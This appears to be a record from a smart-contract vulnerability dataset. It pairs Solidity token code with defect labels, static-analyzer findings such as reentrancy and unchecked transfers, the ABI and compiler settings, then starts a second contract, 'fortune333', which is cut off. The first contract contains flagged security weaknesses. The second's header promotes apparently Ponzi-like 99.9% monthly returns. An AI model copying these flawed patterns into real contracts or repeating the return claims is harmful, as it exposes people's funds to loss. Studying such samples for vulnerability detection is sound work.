/// @notice Official record of token balances for each account mapping (address => uint) internal balances; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice Tick event event Tick(uint block, uint minted); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); Uniswap public constant UNI = Uniswap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); /* Incremental system for balance increments */ uint256 public index = 0; // previously accumulated index uint256 public bal = 0; // previous calculated balance of COMP mapping(address => uint256) public supplyIndex; function _update(bool sync) internal { if (totalSupply > 0) { uint256 _before = balances[address(this)]; tick(sync); uint256 _bal = balances[address(this)]; if (_bal > 0 && _bal > _before) { uint256 _diff = _bal.sub(bal, "LBI::_update: ball _diff"); if (_diff > 0) { uint256 _ratio = _diff.mul(1e18).div(totalSupply); if (_ratio > 0) { index = index.add(_ratio); bal = _bal; } } } } } mapping(address => uint) claimable; function claim() external { claimFor(msg.sender); } function claimFor(address recipient) public { _updateFor(recipient, true); _transferTokens(address(this), recipient, claimable[recipient]); claimable[recipient] = 0; bal = balances[address(this)]; } function _updateFor(address recipient, bool sync) public { _update(sync); uint256 _supplied = balances[recipient]; if (_supplied > 0) { uint256 _supplyIndex = supplyIndex[recipient]; supplyIndex[recipient] = index; uint256 _delta = index.sub(_supplyIndex, "LBI::_claimFor: index delta"); if (_delta > 0) { uint256 _share = _supplied.mul(_delta).div(1e18); claimable[recipient] = claimable[recipient].add(_share); } } else { supplyIndex[recipient] = index; } } constructor() public { lastTick = block.number; } address public governance; function setup() external payable { require(msg.value > 0, "LBT:(): constructor requires ETH"); require(address(pool) == address(0x0), "LBT:(): already initialized"); _mint(address(this), 10000e18, true); // init total supply WETH.deposit.value(msg.value)(); _mint(address(this), _continuousMint(msg.value), true); uint _balance = WETH.balanceOf(address(this)); require(_balance == msg.value, "LBT:(): WETH9 error"); WETH.approve(address(UNI), _balance); allowances[address(this)][address(UNI)] = balances[address(this)]; require(allowances[address(this)][address(UNI)] == balances[address(this)], "LBT:(): address(this) error"); UNI.addLiquidity(address(this), address(WETH), balances[address(this)], WETH.balanceOf(address(this)), 0, 0, msg.sender, now.add(1800)); pool = UniswapPair(Factory(UNI.factory()).getPair(address(this), address(WETH))); rewardDistribution = RewardDistributionDelegate(REWARDFACTORY.deploy(address(pool), address(this), address(this), 18, "Liquidity Income Delegate", "LBD")); _mint(address(this), 1e18, true); allowances[address(this)][address(rewardDistribution)] = 1e18; rewardDistribution.notifyRewardAmount(1e18); governance = GOVERNANCEFACTORY.deploy(address(rewardDistribution)); } function setGovernance(address _governance) external { require(msg.sender == governance, "LBI::setGovernance: governance only"); governance = _governance; } // TEST HELPER FUNCTION :: DO NOT USE function removeLiquidityMax() public { removeLiquidity(pool.balanceOf(msg.sender), 0, 0); } // TEST HELPER FUNCTION :: DO NOT USE function removeLiquidity(uint amountA, uint minA, uint minB) public { tick(true); pool.transferFrom(msg.sender, address(this), amountA); pool.approve(address(UNI), amountA); UNI.removeLiquidity(address(this), address(WETH), amountA, minA, minB, msg.sender, now.add(1800)); } // TEST HELPER FUNCTION :: DO NOT USE function addLiquidityMax() public payable { addLiquidity(balances[msg.sender]); } // TEST HELPER FUNCTION :: DO NOT USE function addLiquidity(uint amountA) public payable { tick(true); WETH.deposit.value(msg.value)(); WETH.transfer(address(pool), msg.value); _transferTokens(msg.sender, address(pool), amountA); pool.mint(msg.sender); } function _mint(address dst, uint amount, bool sync) internal { // mint the amount totalSupply = totalSupply.add(amount); _updateFor(dst, sync); // transfer the amount to the recipient balances[dst] = balances[dst].add(amount); emit Transfer(address(0), dst, amount); } uint public LP = 9000; uint public constant BASE = 10000; uint public DURATION = 700000; address public timelock; function setDuration(uint duration_) external { require(msg.sender == governance, "LBI::setDuration only governance"); DURATION = duration_; } function setRatio(uint lp_) external { require(msg.sender == governance, "LBI::setRatio only governance"); LP = lp_; } /** * @notice tick to increase holdings */ function tick(bool sync) public { uint _current = block.number; uint _diff = _current.sub(lastTick); if (_diff > 0) { lastTick = _current; _diff = balances[address(pool)].mul(_diff).div(DURATION); // 1% every 7000 blocks uint _minting = _diff.div(2); if (_minting > 0) { _transferTokens(address(pool), address(this), _minting); // Can't call sync while in addLiquidity or removeLiquidity if (sync) { pool.sync(); } _mint(address(this), _minting, false); // % of tokens that go to LPs uint _lp = _diff.mul(LP).div(BASE); allowances[address(this)][address(rewardDistribution)] = _lp; rewardDistribution.notifyRewardAmount(_lp); emit Tick(_current, _diff); } } } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) public returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param amount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "LBI::permit: invalid signature"); require(signatory == owner, "LBI::permit: unauthorized"); require(now <= deadline, "LBI::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) public returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "LBI::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "LBI::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "LBI::_transferTokens: cannot transfer to the zero address"); bool sync = true; if (src == address(pool) || dst == address(pool)) { sync = false; } _updateFor(src, sync); _updateFor(dst, sync); balances[src] = balances[src].sub(amount, "LBI::_transferTokens: transfer amount exceeds balance"); balances[dst] = balances[dst].add(amount, "LBI::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["293", "469"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["504", "414"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["318", "280", "321", "488"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["431", "428"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["610"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["572"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LiquidityIncome.sol": [640]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LiquidityIncome.sol": [488]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LiquidityIncome.sol": [280]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [193, 194, 195, 196]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [178, 179, 180]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [300, 301, 302]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [128, 129, 130, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [521]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LiquidityIncome.sol": [594, 595, 596, 597]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LiquidityIncome.sol": [548, 549, 550, 551, 552, 553]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LiquidityIncome.sol": [448, 449, 450]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LiquidityIncome.sol": [461, 462, 463]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"LiquidityIncome.sol": [431]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"LiquidityIncome.sol": [428]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [497]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [492]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"LiquidityIncome.sol": [252, 253, 254]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [444]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LiquidityIncome.sol": [484]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LiquidityIncome.sol": [304]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LiquidityIncome.sol": [442]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LiquidityIncome.sol": [486]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LiquidityIncome.sol": [397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [439]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [430]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [522]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [476]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [476]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [476]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [476]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [435]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [434]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [470]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [295]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [525]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [481]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [426]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [436]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [631]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [392]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [519]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [377]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [476]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [409]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [480]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [476]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [476]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [224]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [572]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [486]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [282]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [455]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [469]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [293]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [471]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [429]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [456]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [457]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"LiquidityIncome.sol": [433]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 284, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 298, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 332, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 333, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 359, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 421, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 442, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 490, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 495, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 12, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 276, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 638, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 229, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 238, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 640, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 239, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 261, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 242, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 244, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 245, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 266, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 267, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 268, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 385, "severity": 1}]
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"block","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"minted","type":"uint256"}],"name":"Tick","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"BASE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"CURVE","outputs":[{"internalType":"contract IBondingCurve","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"DURATION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"GOVERNANCEFACTORY","outputs":[{"internalType":"contract GovernanceFactory","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"LP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"RATIO","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"REWARDFACTORY","outputs":[{"internalType":"contract RewardDistributionFactory","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"UNI","outputs":[{"internalType":"contract Uniswap","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"WETH","outputs":[{"internalType":"contract WETH9","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"sync","type":"bool"}],"name":"_updateFor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amountA","type":"uint256"}],"name":"addLiquidity","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"addLiquidityMax","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"bal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"calculateMint","outputs":[{"internalType":"uint256","name":"mintAmount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"claim","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"claimFor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"governance","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"index","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastTick","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"min","type":"uint256"}],"name":"mint","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"pool","outputs":[{"internalType":"contract UniswapPair","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"minA","type":"uint256"},{"internalType":"uint256","name":"minB","type":"uint256"}],"name":"removeLiquidity","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"removeLiquidityMax","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rewardDistribution","outputs":[{"internalType":"contract RewardDistributionDelegate","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"scale","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"duration_","type":"uint256"}],"name":"setDuration","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_governance","type":"address"}],"name":"setGovernance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"lp_","type":"uint256"}],"name":"setRatio","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"setup","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"supplyIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"sync","type":"bool"}],"name":"tick","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"timelock","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"src","type":"address"},{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
false
200
Default
MIT
false
bzzr://a212c500c37b322dec873994047648fa4bf7792b568f61951d0ac9f4c1c8d4cb
fortune333
0xe2218365887c042e923fc253f557eecea044021e
Solidity
pragma solidity 0.4.26; /** * Get % profit every month with a Fortune 333 contract! * GitHub https://github.com/fortune333/fortune333 * Site https://fortune333.online/ * * - OBTAINING 99.9% PER 1 MONTH. (percentages are charged in equal parts every 1 sec) * 3.33% per 1 day * 0.13875% per 1 hour * 0.0023125% per 1 minute * 0.000038515% per 1 sec * - lifetime payments * - unprecedentedly reliable * - bring luck * - first minimum contribution from 0.01 eth, all next from 0.01 eth. * - Currency and Payment - ETH * - Contribution allocation schemes: * - 100% of payments - 6% percent for support and 12% percent referral system. * Unique referral system! * 3.33% is paid to the referral (inviting) wallet - right there! Instantly! * 3.33% is added to the first contribution of the referral (new investor). * For example: Your first contribution is 1 Ether. * The one who invited you gets 0.033 Ethers on his wallet, that is, a wallet that the investor will indicate when they first invest in a smart contract in the DATE field * The invited (new investor) will receive an additional 3.33% referral bonus to their contribution, that is, the contribution of the new investor will be 1,033 Ethers! * * * RECOMMENDED GAS LIMIT: 200,000 * RECOMMENDED GAS PRICE: https://ethgasstation.info/ * DO NOT TRANSFER DIRECTLY FROM AN EXCHANGE (only use your ETH wallet, from which you have a private key) * You can check payments on the website etherscan.io, in the “Internal Txns” tab of your wallet. * * Restart of the contract is also absent. If there is no money in the Fund, payments are stopped and resumed after the Fund is filled. Thus, the contract will work forever! * * How to use: * 1. Send from your ETH wallet to the address of the smart contract * Any amount from 0.01 ETH. * 2. Confirm your transaction in the history of your application or etherscan.io, indicating the address of your wallet. * Take profit by sending 0 eth to contract (profit is calculated every second). * **/ library Math { function min(uint a, uint b) internal pure returns(uint) { if (a > b) { return b; } return a; } } library Zero { function requireNotZero(address addr) internal pure { require(addr != address(0), "require not zero address"); } function requireNotZero(uint val) internal pure { require(val != 0, "require not zero value"); } function notZero(address addr) internal pure returns(bool) { return !(addr == address(0)); } function isZero(address addr) internal pure returns(bool) { return addr == address(0); } function isZero(uint a) internal pure returns(bool) { return a == 0; } function notZero(uint a) internal pure returns(bool) { return a != 0; } } library Percent { struct percent { uint num; uint den; } function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function div(percent storage p, uint a) internal view returns (uint) { return a/p.num*p.den; } function sub(percent storage p, uint a) internal view returns (uint) { uint b = mul(p, a); if (b >= a) { return 0; } return a - b; } function add(percent storage p, uint a) internal view returns (uint) { return a + mul(p, a); } function toMemory(percent storage p) internal view returns (Percent.percent memory) { return Percent.percent(p.num, p.den); } function mmul(percent memory p, uint a) internal pure returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function mdiv(percent memory p, uint a) internal pure returns (uint) { return a/p.num*p.den; } function msub(percent memory p, uint a) internal pure returns (uint) { uint b = mmul(p, a); if (b >= a) { return 0; } return a - b; } function madd(percent memory p, uint a) internal pure returns (uint) { return a + mmul(p, a); } } library Address { function toAddress(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function isNotContract(address addr) internal view returns(bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by 